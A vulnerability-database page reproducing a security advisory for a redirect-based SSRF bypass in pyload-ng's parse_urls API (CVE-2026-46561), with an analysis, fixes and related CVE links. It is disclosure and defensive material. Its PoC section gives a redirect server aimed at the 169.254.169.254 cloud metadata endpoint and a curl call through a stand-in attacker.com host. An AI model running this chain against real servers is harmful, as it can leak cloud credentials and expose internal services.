Skip to main content

pyload-ng EUVDEUVD-2026-32956

| CVE-2026-46561 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-21 https://github.com/pyload/pyload GHSA-8rp3-xc6w-5qp5
5.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.0 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 21, 2026 - 20:33 vuln.today
Analysis Generated
May 21, 2026 - 20:33 vuln.today

DescriptionGitHub Advisory

Summary

The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.

Details

The parse_urls API method validates the initial URL hostname:

python
# src/pyload/core/api/__init__.py:600-604
if url:
    urlp = urlparse(url)
    hostname = urlp.hostname
    if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
        page = get_url(url)

get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:

python
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        rep = h.load(*args, **kwargs)
    return rep

HTTPRequest.__init__ sets allow_private_ip = True by default:

python
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True

The init_handle() method enables redirect following:

python
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:

python
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
    if not self.allow_private_ip and not is_global_address(conn_primary_ip):
        return pycurl.PREREQFUNC_ABORT
    return pycurl.PREREQFUNC_OK

The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.

PoC

bash
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
  -H 'Cookie: session=<valid_session>' \
  -d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker

Impact

An authenticated attacker with ADD permission can perform SSRF against:

  • Cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure) - potentially leaking IAM credentials, instance metadata, and secrets
  • Internal services on private networks (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • Localhost services (127.0.0.1) running on the pyload server

Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.

Recommended Fix

Set allow_private_ip = False in RequestFactory.get_url():

python
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        h.allow_private_ip = False
# Prevent SSRF via redirects
        rep = h.load(*args, **kwargs)
    return rep

Alternatively, change the default in HTTPRequest.__init__ to False:

python
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False

The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.

AnalysisAI

Redirect-based SSRF bypass in pyload-ng's parse_urls API allows authenticated attackers with ADD permission to probe internal network services and cloud metadata endpoints by chaining an open redirect through an attacker-controlled host. The prior SSRF fix (commit 33c55da, GHSA-7gvf-3w72-p2pg) correctly hardened HTTPChunk but left HTTPRequest used by RequestFactory.get_url() with allow_private_ip=True, rendering the is_global_host() check on the initial URL ineffective against 302 redirects to private IP space. A public proof-of-concept exploit exists demonstrating exfiltration of AWS IMDSv1 metadata; no public exploit identified at time of analysis for active in-the-wild exploitation, and CVE-2026-46561 is not listed in the CISA KEV catalog.

Technical ContextAI

pyload-ng (pkg:pip/pyload-ng) is a Python-based download manager that exposes an HTTP API. The root cause class is CWE-918 (Server-Side Request Forgery). The parse_urls API endpoint at src/pyload/core/api/__init__.py validates only the initial URL hostname via is_global_host() before passing it to get_url(), which instantiates an HTTPRequest object backed by pycurl. HTTPRequest.__init__ sets allow_private_ip=True by default (http_request.py:75), and init_handle() enables pycurl redirect following with FOLLOWLOCATION=1 and up to MAXREDIRS=10 (http_request.py:117-118). The PREREQ callback _pre_request_callback() is designed to abort connections to non-global addresses, but its guard condition 'if not self.allow_private_ip' is never satisfied when the default is True, making it a no-op. The fix applied in 33c55da set allow_private_ip=False on HTTPChunk (the download code path) but did not apply the same constraint to HTTPRequest used by get_url(), creating an asymmetric security posture between the two code paths. REDIR_PROTOCOLS limits redirect schemes to HTTP/HTTPS, and response data is filtered through RE_URLMATCH regex, partially constraining what can be exfiltrated.

RemediationAI

Upgrade pyload-ng to version 0.5.0b3.dev100 or later, which is the vendor-released patch per the GitHub advisory at https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5. The targeted fix is to add h.allow_private_ip = False immediately after instantiating HTTPRequest in RequestFactory.get_url() (src/pyload/core/network/request_factory.py). A more defensive alternative is to change the default in HTTPRequest.__init__ to allow_private_ip=False (http_request.py:75), though this requires auditing all other callers that may legitimately need to access private IPs. If upgrading immediately is not possible, restrict access to the parse_urls API endpoint via firewall or reverse-proxy ACL to trusted internal IP ranges only, preventing external or low-trust authenticated users from reaching the endpoint. If the deployment runs on AWS, enable IMDSv2 (require session-oriented requests) to prevent credential theft via 169.254.169.254 even if SSRF is exploited - this is a strong compensating control with no functional trade-offs for modern workloads. Disabling the parse_urls API feature entirely eliminates the attack surface at the cost of that functionality.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

EUVD-2026-32956 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy